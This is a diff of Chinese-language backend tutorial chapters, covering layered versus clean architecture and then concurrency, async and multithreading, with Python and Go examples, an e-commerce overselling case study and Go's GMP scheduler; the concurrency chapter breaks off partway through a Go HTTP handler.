||||
- Service 层既包含业务逻辑,也依赖框架
|
||||
|
||||
**整洁架构**:
|
||||
|
||||
- 依赖方向:所有层都指向中心(Domain)
|
||||
- 通过接口隔离,框架只在外层
|
||||
- Domain 层纯粹的业务逻辑,完全不依赖框架
|
||||
|
||||
**比喻**:
|
||||
|
||||
- 传统分层:像盖楼,从下往上建,地基很重要但可以被替换
|
||||
- 整洁架构:像洋葱,核心业务在最内层,外层(框架)可以随时更换
|
||||
:::
|
||||
|
||||
### 7.2 如何选择?
|
||||
|
||||
**选择传统分层架构当...**
|
||||
|
||||
- 项目规模较小,业务相对简单
|
||||
- 团队对 DDD 不熟悉
|
||||
- 需要快速上线,验证市场
|
||||
- 技术栈相对固定
|
||||
|
||||
**选择整洁架构当...**
|
||||
|
||||
- 业务复杂,领域模型丰富
|
||||
- 需要长期维护和演进
|
||||
- 需要频繁切换技术栈
|
||||
- 团队有较强的设计能力
|
||||
|
||||
---
|
||||
|
||||
## 8. 总结:分层架构的核心要点
|
||||
|
||||
### 8.1 四层职责速查表
|
||||
|
||||
| 层级 | 主要职责 | 不该做的事 |
|
||||
| -------------- | ------------------------------------------ | -------------------------------------------- |
|
||||
| **Controller** | 接收请求、参数校验、调用 Service、返回响应 | 写业务逻辑、操作数据库、处理事务 |
|
||||
| **Service** | 业务逻辑编排、事务管理、协调 Repository | 直接写 SQL、处理 HTTP、返回实体给 Controller |
|
||||
| **Repository** | 数据访问、ORM 映射、查询封装 | 写业务逻辑、管理事务、依赖上层 |
|
||||
| **Domain** | 实体定义、业务规则、值对象 | 依赖其他层、处理持久化、处理 HTTP |
|
||||
|
||||
### 8.2 依赖方向铁律
|
||||
|
||||
```
|
||||
✅ 正确的依赖方向:
|
||||
|
||||
Controller → Service 接口 → Repository 接口 → Domain
|
||||
↑ ↑ ↑ ↑
|
||||
└-----------└----------------└--------------┘
|
||||
所有层都依赖 Domain,Domain 不依赖任何层
|
||||
|
||||
❌ 禁止的做法:
|
||||
- Service 直接依赖 Repository 实现
|
||||
- Controller 直接操作数据库
|
||||
- Domain 依赖 Service 或 Repository
|
||||
- 层与层之间形成循环依赖
|
||||
```
|
||||
|
||||
### 8.3 编码最佳实践
|
||||
|
||||
1. **接口优先**:Service 和 Repository 都定义接口,实现类通过 Spring 注入
|
||||
2. **DTO 隔离**:每层使用自己的 DTO,不要直接传递 Entity
|
||||
3. **事务在 Service**:使用 `@Transactional` 在 Service 方法上控制事务
|
||||
4. **异常处理**:Controller 统一处理异常,不要 try-catch 后吞掉异常
|
||||
5. **贫血模型 vs 充血模型**:根据团队熟悉程度选择,但建议 Domain 有基本的行为方法
|
||||
|
||||
### 8.4 常见面试问题
|
||||
|
||||
**Q1:为什么要分层?不分层可以吗?**
|
||||
|
||||
> A:分层的目的是解耦和关注点分离。小项目可以不分层,但随着业务复杂度的增加,不分层会导致代码难以维护、测试困难、团队协作效率低下。
|
||||
|
||||
**Q2:Controller 层可以写业务逻辑吗?**
|
||||
|
||||
> A:不可以。Controller 应该只负责接收请求、调用 Service、返回响应。业务逻辑应该封装在 Service 层,这样代码可以被复用,也更容易测试。
|
||||
|
||||
**Q3:什么是贫血模型和充血模型?**
|
||||
|
||||
> A:贫血模型是指 Entity 只有 getter/setter,业务逻辑都在 Service 层。充血模型是指 Entity 包含业务方法(如 `order.cancel()`),封装了业务规则。DDD 推荐充血模型,但贫血模型更简单易懂。
|
||||
|
||||
**Q4:如何处理跨多个 Service 的事务?**
|
||||
|
||||
> A:可以在上层 Service 中使用 `@Transactional`,调用多个下层 Service。或者使用分布式事务方案(如 Seata),但会增加系统复杂度。
|
||||
|
||||
---
|
||||
|
||||
## 9. 名词对照表
|
||||
|
||||
| 英文术语 | 中文对照 | 解释 |
|
||||
| ------------------------ | ------------ | ------------------------------------- |
|
||||
| **Layered Architecture** | 分层架构 | 将系统划分为多个层次,每层有明确的职责 |
|
||||
| **Controller** | 控制器 | 接收 HTTP 请求,调用 Service,返回响应 |
|
||||
| **Service** | 服务 | 封装业务逻辑,协调多个 Repository |
|
||||
| **Repository** | 仓储 | 封装数据访问逻辑,执行 CRUD 操作 |
|
||||
| **Domain** | 领域 | 定义业务实体、值对象和业务规则 |
|
||||
| **DTO** | 数据传输对象 | 层与层之间传递数据的载体 |
|
||||
| **Entity** | 实体 | 有唯一标识的领域对象,对应数据库表 |
|
||||
| **Value Object** | 值对象 | 没有唯一标识,通过属性值判断相等的对象 |
|
||||
| **Dependency Inversion** | 依赖倒置 | 高层模块不应依赖低层模块,都应依赖抽象 |
|
||||
| **Transaction** | 事务 | 保证一组操作原子性的机制 |
|
||||
| **Clean Architecture** | 整洁架构 | 以领域为核心的架构风格,强调依赖方向 |
|
||||
| **Anemic Domain Model** | 贫血模型 | 实体只有数据没有行为的模型 |
|
||||
| **Rich Domain Model** | 充血模型 | 实体包含数据和业务行为的模型 |
|
||||
|
||||
---
|
||||
|
||||
_本文档示例代码基于 Java + Spring Boot,但分层架构的思想适用于任何后端技术栈(Node.js、Python、Go 等)。_
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,3 @@
|
||||
# 客户端语言对比（Swift / Kotlin / Dart）
|
||||
|
||||
> 待实现
|
||||
@@ -0,0 +1,885 @@
|
||||
# 并发、异步与多线程
|
||||
> 💡 **学习指南**：并发编程是很多后端工程师的"阿喀琉斯之踵"——面试被问倒、线上出 Bug、性能调优没思路。本章节会围绕一个核心问题展开：**当10万个用户同时请求你的服务，你的代码会崩吗？**
|
||||
|
||||
在开始之前，建议你先补两块"基础砖"：
|
||||
|
||||
- **CPU、内存、I/O 是什么**：如果不清楚这些基础概念，可以先回顾操作系统的基本知识。
|
||||
- **什么是阻塞/非阻塞**：如果还不熟悉同步/异步的概念，可以先通过实际编程体验感受一下。
|
||||
|
||||
---
|
||||
|
||||
## 0. 引言：为什么你的服务一到高峰期就"卡死"？
|
||||
|
||||
<ProcessThreadCoroutineDemo />
|
||||
|
||||
很多人在实际开发中都会遇到类似的情况：
|
||||
|
||||
- 本地测试时服务响应飞快，一上线就"卡成 PPT"；
|
||||
- 明明买了很高的服务器配置，CPU 占用率却总是上不去；
|
||||
- 一到促销高峰期，服务就"雪崩"，不得不降级或熔断。
|
||||
|
||||
直觉上，我们会以为是：**"服务器不够强"**。
|
||||
但大多数时候，问题并不在于硬件"不够快"，而在于我们**没有设计好并发模型**。
|
||||
|
||||
**核心矛盾**：
|
||||
- 如果不并发处理：用户请求排队等待，体验极差；
|
||||
- 如果乱用多线程：锁竞争、上下文切换开销，性能反而下降。
|
||||
|
||||
面对这些挑战，单纯依靠"加机器"已经捉襟见肘。我们需要一套系统的并发设计方法，在高并发场景下既保证性能，又确保稳定性。这正是本章节试图解决的问题。
|
||||
|
||||
---
|
||||
|
||||
## 1. 核心概念：进程、线程、协程，到底啥区别？
|
||||
|
||||
### 1.1 一个餐厅的比喻
|
||||
|
||||
想象你开了一家餐厅，要同时服务很多顾客：
|
||||
|
||||
| 概念 | 餐厅比喻 | 技术含义 |
|
||||
| :--- | :--- | :--- |
|
||||
| **进程 (Process)** | **独立的餐厅分店** | 拥有独立的内存空间、资源分配，是操作系统资源分配的基本单位。一个进程崩溃不会影响其他进程。 |
|
||||
| **线程 (Thread)** | **分店内的厨师** | 是 CPU 调度的基本单位，共享进程内的内存空间。同一进程内的线程可以共享数据，但一个线程崩溃可能导致整个进程崩溃。 |
|
||||
| **协程 (Coroutine)** | **厨师的"分身术"** | 用户态的轻量级线程，由程序自己调度而非操作系统。切换开销极小，可以创建数百万个。 |
|
||||
|
||||
### 1.2 深入对比：三者的本质差异
|
||||
|
||||
<ProcessIsolationDemo />
|
||||
|
||||
#### 进程：资源隔离的"集装箱"
|
||||
|
||||
**核心特点**：
|
||||
- **隔离性强**：每个进程有独立的虚拟地址空间
|
||||
- **开销大**：创建/切换需要操作系统介入，耗时约 1-10ms
|
||||
- **通信复杂**：进程间通信(IPC)需要特殊机制（管道、消息队列、共享内存等）
|
||||
|
||||
**适用场景**：
|
||||
- 需要强隔离的服务（如浏览器标签页、沙箱程序）
|
||||
- 多语言混合部署的服务
|
||||
- 需要独立重启/升级的服务单元
|
||||
|
||||
#### 线程：共享内存的"轻骑兵"
|
||||
|
||||
<ThreadSchedulingDemo />
|
||||
|
||||
**核心特点**：
|
||||
- **共享内存**：同一进程内的线程共享代码段、数据段、堆
|
||||
- **独立栈空间**：每个线程有自己的栈（通常 1MB 左右）
|
||||
- **切换较快**：线程切换约 1-10μs，比进程快 1000 倍
|
||||
- **需要同步**：共享数据需要加锁保护
|
||||
|
||||
**适用场景**：
|
||||
- CPU 密集型任务（计算、图像处理）
|
||||
- 需要共享大量数据的并发任务
|
||||
- 对延迟敏感的后台任务
|
||||
|
||||
#### 协程：用户态的"绿色线程"
|
||||
|
||||
<CoroutineLightweightDemo />
|
||||
|
||||
**核心特点**：
|
||||
- **用户态调度**：由程序/运行时库调度，不经过操作系统
|
||||
- **极轻量级**：协程栈通常只有几 KB，可创建数百万个
|
||||
- **切换极快**：协程切换约 100ns，比线程快 100 倍
|
||||
- **非抢占式**：协程主动让出 CPU（协作式多任务）
|
||||
|
||||
**适用场景**：
|
||||
- I/O 密集型高并发服务（Web 服务器、网关）
|
||||
- 需要维持大量长连接的场景（IM、游戏服务器）
|
||||
- 流式数据处理、流水线作业
|
||||
|
||||
---
|
||||
|
||||
## 2. 案例分析：某电商大促的"并发之痛"
|
||||
|
||||
### 2.1 血泪教训：从"单机"到"分布式"的演进
|
||||
|
||||
让我们看一个真实的电商系统演进故事：
|
||||
|
||||
#### 阶段一：单机时代（日活 1000）
|
||||
|
||||
```python
|
||||
# 简单的 Flask 应用
|
||||
from flask import Flask
|
||||
|
||||
app = Flask(__name__)
|
||||
|
||||
@app.route('/order')
|
||||
def create_order():
|
||||
# 查询库存
|
||||
stock = db.query("SELECT stock FROM products WHERE id=1")
|
||||
if stock > 0:
|
||||
# 扣减库存
|
||||
db.execute("UPDATE products SET stock = stock - 1 WHERE id=1")
|
||||
# 创建订单
|
||||
db.execute("INSERT INTO orders ...")
|
||||
return "Order created!"
|
||||
return "Out of stock!"
|
||||
|
||||
# 启动：flask run
|
||||
```
|
||||
|
||||
**问题**：
|
||||
- 单进程单线程，一次只能处理一个请求
|
||||
- 库存扣减没有加锁，并发时会出现超卖
|
||||
- 数据库连接数有限，连接池很快被耗尽
|
||||
|
||||
#### 阶段二：多进程时代（日活 1万）
|
||||
|
||||
```python
|
||||
# 使用 Gunicorn 多进程部署
|
||||
gunicorn -w 4 -k sync app:app
|
||||
|
||||
# 4个 worker 进程，每个进程独立处理请求
|
||||
```
|
||||
|
||||
**新问题**：
|
||||
- 4 个进程同时查库存，都看到 stock=1，都扣减成功，超卖 3 个！
|
||||
- 需要引入分布式锁
|
||||
|
||||
```python
|
||||
import redis
|
||||
|
||||
# 使用 Redis 分布式锁
|
||||
lock = redis_client.lock("stock_lock", timeout=10)
|
||||
if lock.acquire():
|
||||
try:
|
||||
stock = db.query("SELECT stock FROM products WHERE id=1")
|
||||
if stock > 0:
|
||||
db.execute("UPDATE products SET stock = stock - 1 WHERE id=1")
|
||||
finally:
|
||||
lock.release()
|
||||
```
|
||||
|
||||
#### 阶段三：协程时代（日活 10万）
|
||||
|
||||
```python
|
||||
# 使用 FastAPI + asyncio
|
||||
from fastapi import FastAPI
|
||||
import asyncio
|
||||
|
||||
app = FastAPI()
|
||||
|
||||
async def check_stock(product_id: int) -> int:
|
||||
# 异步查询数据库，不阻塞
|
||||
result = await db.fetch_one(
|
||||
"SELECT stock FROM products WHERE id = :id",
|
||||
{"id": product_id}
|
||||
)
|
||||
return result["stock"]
|
||||
|
||||
@app.get("/order")
|
||||
async def create_order(product_id: int):
|
||||
# 并发检查库存和用户信息
|
||||
stock_task = check_stock(product_id)
|
||||
user_task = get_user_info(request.user_id)
|
||||
|
||||
stock, user = await asyncio.gather(stock_task, user_task)
|
||||
|
||||
if stock > 0:
|
||||
# 异步扣减库存
|
||||
await db.execute(
|
||||
"UPDATE products SET stock = stock - 1 WHERE id = :id",
|
||||
{"id": product_id}
|
||||
)
|
||||
return {"status": "success"}
|
||||
|
||||
return {"status": "out_of_stock"}
|
||||
|
||||
# 启动：uvicorn main:app --workers 4
|
||||
# 每个 worker 内可以处理数千个并发协程
|
||||
```
|
||||
|
||||
**优势**：
|
||||
- 单线程内可处理数千并发连接
|
||||
- I/O 操作时主动让出 CPU，不阻塞其他请求
|
||||
- 内存占用极低，适合高并发长连接场景
|
||||
|
||||
### 2.2 并发模型演进对比表
|
||||
|
||||
| 阶段 | 并发模型 | 支撑日活 | 核心问题 | 解决方案 |
|
||||
| :--- | :--- | :--- | :--- | :--- |
|
||||
| **单体** | 单进程单线程 | 1K | 无法并发处理 | 引入多进程 |
|
||||
| **多进程** | 多进程同步 | 10K | 数据竞争、超卖 | 分布式锁 |
|
||||
| **多线程** | 多线程+锁 | 50K | 上下文切换开销、死锁 | 线程池、无锁队列 |
|
||||
| **协程** | 异步 I/O | 100K+ | 代码复杂度、调试困难 | 框架封装、链路追踪 |
|
||||
| **混合** | 多进程+协程 | 1000K+ | 架构复杂度 | 服务治理、弹性伸缩 |
|
||||
|
||||
---
|
||||
|
||||
## 3. 原理深入：各种并发模型的工作原理
|
||||
|
||||
### 3.1 进程模型：隔离性与通信
|
||||
|
||||
#### 内存隔离机制
|
||||
|
||||
<ProcessIsolationDemo />
|
||||
|
||||
每个进程拥有独立的虚拟地址空间：
|
||||
|
||||
```
|
||||
进程 A 的虚拟内存 进程 B 的虚拟内存
|
||||
+----------------+ +----------------+
|
||||
| 内核空间 | | 内核空间 | <-- 共享（只读）
|
||||
| (共享) | | (共享) |
|
||||
+----------------+ +----------------+
|
||||
| 栈空间 | | 栈空间 | <-- 独立
|
||||
| (向下增长) | | (向下增长) |
|
||||
+----------------+ +----------------+
|
||||
| 堆空间 | | 堆空间 | <-- 独立
|
||||
| (向上增长) | | (向上增长) |
|
||||
+----------------+ +----------------+
|
||||
| 数据段 | | 数据段 | <-- 独立
|
||||
| (.bss/.data) | | (.bss/.data) |
|
||||
+----------------+ +----------------+
|
||||
| 代码段 | | 代码段 | <-- 独立
|
||||
| (.text) | | (.text) |
|
||||
+----------------+ +----------------+
|
||||
```
|
||||
|
||||
#### 进程间通信(IPC)方式
|
||||
|
||||
| 方式 | 原理 | 速度 | 适用场景 |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| **管道 (Pipe)** | 内核缓冲区，单向流 | 中等 | 父子进程间通信 |
|
||||
| **消息队列** | 内核消息链表 | 中等 | 异步消息传递 |
|
||||
| **共享内存** | 同一块物理内存映射 | 最快 | 大量数据共享 |
|
||||
| **信号量** | 内核计数器 | - | 同步与互斥 |
|
||||
| **Socket** | 网络协议栈 | 较慢 | 跨机器通信 |
|
||||
| **信号 (Signal)** | 软中断 | - | 事件通知 |
|
||||
|
||||
### 3.2 线程模型：调度与同步
|
||||
|
||||
#### 线程调度原理
|
||||
|
||||
<ThreadSchedulingDemo />
|
||||
|
||||
操作系统线程调度器的基本工作：
|
||||
|
||||
```
|
||||
就绪队列 运行中 等待队列
|
||||
+--------+ +--------+ +--------+
|
||||
| 线程 B | <-- 时间片到 | 线程 A | <-- I/O请求 | 线程 C |
|
||||
| 线程 D | | (运行) | | 线程 E |
|
||||
| 线程 F | +--------+ | (阻塞) |
|
||||
+--------+ +--------+
|
||||
| |
|
||||
v v
|
||||
调度器根据优先级选择下一个运行 I/O完成时移回就绪队列
|
||||
```
|
||||
|
||||
#### 常见线程同步机制
|
||||
|
||||
| 机制 | 原理 | 优点 | 缺点 |
|
||||
| :--- | :--- | :--- | :--- |
|
||||
| **互斥锁 (Mutex)** | 二元状态，独占访问 | 实现简单 | 竞争激烈时性能差 |
|
||||
| **读写锁 (RWLock)** | 读共享，写独占 | 读多写少场景效率高 | 实现复杂，有写饥饿风险 |
|
||||
| **自旋锁 (Spinlock)** | 忙等待，不释放 CPU | 等待时间短时效率高 | 等待时间长时浪费 CPU |
|
||||
| **条件变量** | 等待特定条件满足 | 避免忙等待 | 需要配合锁使用 |
|
||||
| **信号量 (Semaphore)** | 计数器控制访问数量 | 可控制并发数 | 使用不当易出错 |
|
||||
| **原子操作** | CPU 指令级原子性 | 无锁，性能最高 | 只能操作简单数据类型 |
|
||||
| **无锁队列** | CAS 操作实现 | 高并发下性能优异 | 实现复杂，ABA 问题 |
|
||||
|
||||
### 3.3 协程模型：用户态调度
|
||||
|
||||
<CoroutineLightweightDemo />
|
||||
|
||||
#### 协程的核心优势
|
||||
|
||||
```
|
||||
传统多线程 vs 协程模型
|
||||
|
||||
+------------+ +------------+
|
||||
| 线程 1 | | 事件循环 |
|
||||
| (1MB栈) | | (调度器) |
|
||||
+------------+ +------------+
|
||||
| |
|
||||
v v
|
||||
+------------+ +------------+
|
||||
| 线程 2 | | 协程 A |
|
||||
| (1MB栈) | | (几KB栈) |
|
||||
+------------+ +------------+
|
||||
| |
|
||||
v v
|
||||
+------------+ +------------+
|
||||
| 线程 3 | | 协程 B |
|
||||
| (1MB栈) | | (几KB栈) |
|
||||
+------------+ +------------+
|
||||
|
||||
开销：N MB 开销：N KB
|
||||
创建：~10μs 创建：~100ns
|
||||
切换：~1μs 切换：~100ns
|
||||
```
|
||||
|
||||
#### async/await 的工作机制
|
||||
|
||||
<AsyncAwaitDemo />
|
||||
|
||||
```python
|
||||
import asyncio
|
||||
|
||||
async def fetch_data(url):
|
||||
# 遇到 await，协程挂起，让出 CPU
|
||||
response = await aiohttp.get(url)
|
||||
# I/O 完成后，事件循环唤醒协程，从这里继续执行
|
||||
return response.json()
|
||||
|
||||
async def main():
|
||||
# 创建 3 个协程任务
|
||||
tasks = [
|
||||
fetch_data("https://api1.example.com"),
|
||||
fetch_data("https://api2.example.com"),
|
||||
fetch_data("https://api3.example.com")
|
||||
]
|
||||
# 并发执行，总耗时 ≈ 最慢的那个请求
|
||||
results = await asyncio.gather(*tasks)
|
||||
return results
|
||||
|
||||
# 启动事件循环
|
||||
asyncio.run(main())
|
||||
```
|
||||
|
||||
**执行流程**：
|
||||
|
||||
```
|
||||
时间线 -------------------------------------------------------------------->
|
||||
|
||||
协程 A: [准备请求]--[await 挂起]=======[收到响应]--[处理数据]
|
||||
|
|
||||
协程 B: [准备请求]--[await 挂起]=======[收到响应]--[处理数据]
|
||||
|
|
||||
协程 C: [准备请求]--[await 挂起]=======[收到响应]
|
||||
|
|
||||
↓
|
||||
所有 I/O 完成
|
||||
|
||||
说明：[ ] 表示 CPU 执行, === 表示 I/O 等待, | 表示协程切换
|
||||
```
|
||||
|
||||
### 3.4 事件循环：协程的"心脏"
|
||||
|
||||
<EventLoopDemo />
|
||||
|
||||
事件循环是协程调度的核心机制：
|
||||
|
||||
```python
|
||||
import selectors
|
||||
import heapq
|
||||
|
||||
class EventLoop:
|
||||
def __init__(self):
|
||||
self.selector = selectors.DefaultSelector()
|
||||
self.ready = [] # 就绪队列
|
||||
self.scheduled = [] # 定时任务队列
|
||||
self.current = None
|
||||
|
||||
def run(self):
|
||||
while True:
|
||||
# 1. 处理定时任务
|
||||
now = time.time()
|
||||
while self.scheduled and self.scheduled[0][0] <= now:
|
||||
_, callback = heapq.heappop(self.scheduled)
|
||||
self.ready.append(callback)
|
||||
|
||||
# 2. 等待 I/O 事件
|
||||
timeout = 0 if self.ready else 0.1
|
||||
events = self.selector.select(timeout)
|
||||
|
||||
for key, mask in events:
|
||||
callback = key.data
|
||||
self.ready.append(callback)
|
||||
|
||||
# 3. 执行就绪的回调
|
||||
while self.ready:
|
||||
callback = self.ready.popleft()
|
||||
callback()
|
||||
```
|
||||
|
||||
### 3.5 并发 vs 并行：不是一回事
|
||||
|
||||
<ConcurrentVsParallelDemo />
|
||||
|
||||
| 概念 | 英文 | 含义 | 比喻 | 需要条件 |
|
||||
| :--- | :--- | :--- | :--- | :--- |
|
||||
| **并发** | Concurrency | 多个任务交替执行，宏观上同时推进 | 一个人轮流做多个菜 | 单核 CPU 即可 |
|
||||
| **并行** | Parallelism | 多个任务真正同时执行 | 多个人同时做不同的菜 | 多核 CPU 或多机 |
|
||||
|
||||
**图示说明**：
|
||||
|
||||
```
|
||||
单核 CPU - 并发（Concurrent）
|
||||
时间 → 1 2 3 4 5 6 7 8
|
||||
任务 A: [执行][执行] [执行][执行]
|
||||
任务 B: [执行][执行] [执行][执行]
|
||||
|
||||
两个任务交替执行，宏观上"同时"推进
|
||||
|
||||
========================================
|
||||
|
||||
多核 CPU - 并行（Parallel）
|
||||
时间 → 1 2 3 4 5 6 7 8
|
||||
核心 1: [任务A][任务A][任务A][任务A]
|
||||
核心 2: [任务B][任务B][任务B][任务B]
|
||||
|
||||
两个任务真正"同时"执行
|
||||
|
||||
========================================
|
||||
|
||||
现实中往往是：并发 + 并行
|
||||
时间 → 1 2 3 4 5 6 7 8
|
||||
核心 1: [A1][A1][B1][B1][C1][C1][D1][D1]
|
||||
核心 2: [A2][A2][B2][B2][C2][C2][D2][D2]
|
||||
|
||||
多个任务先并发调度到不同核心，再在核心上并行执行
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 4. 实战：Go 协程与绿色线程
|
||||
|
||||
### 4.1 Go 的并发哲学
|
||||
|
||||
<GoroutineGreenThreadDemo />
|
||||
|
||||
Go 语言的并发设计哲学：**不要通过共享内存来通信，而要通过通信来共享内存**。
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
)
|
||||
|
||||
// 生产者
|
||||
func producer(ch chan<- int, id int) {
|
||||
for i := 0; i < 5; i++ {
|
||||
fmt.Printf("Producer %d sending: %d\n", id, i)
|
||||
ch <- i // 发送数据到 channel
|
||||
time.Sleep(100 * time.Millisecond)
|
||||
}
|
||||
}
|
||||
|
||||
// 消费者
|
||||
func consumer(ch <-chan int, id int) {
|
||||
for val := range ch { // 从 channel 接收数据
|
||||
fmt.Printf("Consumer %d received: %d\n", id, val)
|
||||
}
|
||||
}
|
||||
|
||||
func main() {
|
||||
// 创建带缓冲的 channel
|
||||
ch := make(chan int, 10)
|
||||
|
||||
// 启动 2 个生产者 goroutine
|
||||
for i := 0; i < 2; i++ {
|
||||
go producer(ch, i)
|
||||
}
|
||||
|
||||
// 启动 2 个消费者 goroutine
|
||||
for i := 0; i < 2; i++ {
|
||||
go consumer(ch, i)
|
||||
}
|
||||
|
||||
// 等待一段时间
|
||||
time.Sleep(3 * time.Second)
|
||||
close(ch)
|
||||
}
|
||||
```
|
||||
|
||||
### 4.2 Goroutine 调度器：GMP 模型
|
||||
|
||||
Go 的调度器采用了 GMP 模型：
|
||||
|
||||
| 组件 | 含义 | 作用 |
|
||||
| :--- | :--- | :--- |
|
||||
| **G (Goroutine)** | 协程 | 待执行的任务，轻量级（2KB 栈，可动态伸缩） |
|
||||
| **M (Machine)** | 系统线程 | 实际执行 G 的载体，与内核线程 1:1 对应 |
|
||||
| **P (Processor)** | 逻辑处理器 | 调度上下文，包含可运行的 G 队列，数量默认等于 CPU 核心数 |
|
||||
|
||||
**调度流程**：
|
||||
|
||||
```
|
||||
全局队列
|
||||
+----------------+
|
||||
| G1 | G2 | G3 |
|
||||
+----------------+
|
||||
|
||||
P0 的本地队列 P1 的本地队列 P2 的本地队列 P3 的本地队列
|
||||
+----------+ +----------+ +----------+ +----------+
|
||||
| G4 | G5 | | G6 | G7 | | G8 | G9 | | G10| G11 |
|
||||
+----------+ +----------+ +----------+ +----------+
|
||||
| | | |
|
||||
v v v v
|
||||
+----------+ +----------+ +----------+ +----------+
|
||||
| M0 | | M1 | | M2 | | M3 |
|
||||
| (OS线程) | | (OS线程) | | (OS线程) | | (OS线程) |
|
||||
+----------+ +----------+ +----------+ +----------+
|
||||
|
||||
调度策略：
|
||||
1. 每个 P 维护一个本地 G 队列，减少锁竞争
|
||||
2. P 从本地队列取 G 交给 M 执行
|
||||
3. 本地队列空时，从其他 P"偷"一半的 G（Work Stealing）
|
||||
4. 全局队列作为兜底，每隔一段时间检查一次
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## 5. 实战代码模板
|
||||
|
||||
### 5.1 Python asyncio 高并发模板
|
||||
|
||||
```python
|
||||
import asyncio
|
||||
import aiohttp
|
||||
from typing import List, Dict
|
||||
import time
|
||||
|
||||
class AsyncHTTPClient:
|
||||
"""基于 asyncio 的高性能 HTTP 客户端"""
|
||||
|
||||
def __init__(self, max_connections: int = 100, timeout: int = 30):
|
||||
self.timeout = aiohttp.ClientTimeout(total=timeout)
|
||||
# 限制并发连接数，防止把对方服务打挂
|
||||
connector = aiohttp.TCPConnector(
|
||||
limit=max_connections,
|
||||
limit_per_host=10, # 对单个域名的连接限制
|
||||
enable_cleanup_closed=True,
|
||||
force_close=True,
|
||||
)
|
||||
self.session = aiohttp.ClientSession(
|
||||
connector=connector,
|
||||
timeout=self.timeout,
|
||||
)
|
||||
|
||||
async def fetch(self, url: str, method: str = 'GET', **kwargs) -> Dict:
|
||||
"""发送单个请求"""
|
||||
try:
|
||||
async with self.session.request(method, url, **kwargs) as response:
|
||||
return {
|
||||
'url': url,
|
||||
'status': response.status,
|
||||
'data': await response.text(),
|
||||
'error': None
|
||||
}
|
||||
except asyncio.TimeoutError:
|
||||
return {'url': url, 'status': None, 'data': None, 'error': 'Timeout'}
|
||||
except Exception as e:
|
||||
return {'url': url, 'status': None, 'data': None, 'error': str(e)}
|
||||
|
||||
async def fetch_many(self, urls: List[str], concurrency: int = 10) -> List[Dict]:
|
||||
"""并发获取多个 URL，限制并发数"""
|
||||
semaphore = asyncio.Semaphore(concurrency)
|
||||
|
||||
async def fetch_with_limit(url):
|
||||
async with semaphore:
|
||||
return await self.fetch(url)
|
||||
|
||||
# 并发执行所有请求
|
||||
tasks = [fetch_with_limit(url) for url in urls]
|
||||
return await asyncio.gather(*tasks, return_exceptions=True)
|
||||
|
||||
async def close(self):
|
||||
await self.session.close()
|
||||
|
||||
|
||||
# 使用示例
|
||||
async def main():
|
||||
client = AsyncHTTPClient(max_connections=50)
|
||||
|
||||
# 要抓取的 URL 列表
|
||||
urls = [
|
||||
"https://api.github.com/users/github",
|
||||
"https://api.github.com/users/google",
|
||||
"https://api.github.com/users/microsoft",
|
||||
# ... 更多 URL
|
||||
] * 10 # 模拟 300 个请求
|
||||
|
||||
start = time.time()
|
||||
results = await client.fetch_many(urls, concurrency=20)
|
||||
elapsed = time.time() - start
|
||||
|
||||
# 统计结果
|
||||
success = sum(1 for r in results if r.get('status') == 200)
|
||||
failed = len(results) - success
|
||||
|
||||
print(f"总请求数: {len(results)}")
|
||||
print(f"成功: {success}, 失败: {failed}")
|
||||
print(f"耗时: {elapsed:.2f}s")
|
||||
print(f"QPS: {len(results)/elapsed:.1f}")
|
||||
|
||||
await client.close()
|
||||
|
||||
if __name__ == "__main__":
|
||||
asyncio.run(main())
|
||||
```
|
||||
|
||||
### 5.2 Go 高并发服务模板
|
||||
|
||||
```go
|
||||
package main
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"log"
|
||||
"net/http"
|
||||
"runtime"
|
||||
"time"
|
||||
|
||||
"golang.org/x/sync/errgroup"
|
||||
)
|
||||
|
||||
// Request/Response 结构
|
||||
type OrderRequest struct {
|
||||
UserID int64 `json:"user_id"`
|
||||
ProductID int64 `json:"product_id"`
|
||||
Quantity int `json:"quantity"`
|
||||
Price float64 `json:"price"`
|
||||
}
|
||||
|
||||
type OrderResponse struct {
|
||||
OrderID int64 `json:"order_id"`
|
||||
Status string `json:"status"`
|
||||
Total float64 `json:"total"`
|
||||
CreatedAt string `json:"created_at"`
|
||||
}
|
||||
|
||||
// 模拟数据库操作
|
||||
type Database struct {
|
||||
orders map[int64]*OrderResponse
|
||||
mutex chan struct{}
|
||||
}
|
||||
|
||||
func NewDatabase() *Database {
|
||||
db := &Database{
|
||||
orders: make(map[int64]*OrderResponse),
|
||||
mutex: make(chan struct{}, 1), // 模拟互斥锁
|
||||
}
|
||||
return db
|
||||
}
|
||||
|
||||
func (db *Database) CreateOrder(ctx context.Context, req *OrderRequest) (*OrderResponse, error) {
|
||||
// 获取锁
|
||||
select {
|
||||
case db.mutex <- struct{}{}:
|
||||
defer func() { <-db.mutex }()
|
||||
case <-ctx.Done():
|
||||
return nil, ctx.Err()
|
||||
}
|
||||
|
||||
// 模拟数据库操作延迟
|
||||
select {
|
||||
case <-time.After(50 * time.Millisecond):
|
||||
case <-ctx.Done():
|
||||
return nil, ctx.Err()
|
||||
}
|
||||
|
||||
order := &OrderResponse{
|
||||
OrderID: time.Now().UnixNano(),
|
||||
Status: "created",
|
||||
Total: req.Price * float64(req.Quantity),
|
||||
CreatedAt: time.Now().Format(time.RFC3339),
|
||||
}
|
||||
db.orders[order.OrderID] = order
|
||||
return order, nil
|
||||
}
|
||||
|
||||
// HTTP 处理器
|
||||
type Handler struct {
|
||||
db *Database
|
||||
}
|
||||
|
||||
func NewHandler(db *Database) *Handler {
|
||||
return &Handler{db: db}
|
||||
}
|
||||
|
||||
func (h *Handler) CreateOrder(w http.ResponseWriter, r *http.Request) {
|
||||
// 设置请求超时
|
||||
ctx, cancel := context.WithTimeout(r.Context(), 2*time.Second)
|
||||
defer cancel()
|
||||
|
||||
var req OrderRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
http.Error(w, err.Error(), http.StatusBadRequest)
|
||||
return
|
||||
}
|
||||
|
||||
order, err := h.db.CreateOrder(ctx, &req)
|
||||
if err != nil {
|
||||
if err == context.DeadlineExceeded {
|
||||
http.Error(w, "Request timeout", http.StatusGatewayTimeout)
|
||||
return
|
||||
}
|
||||
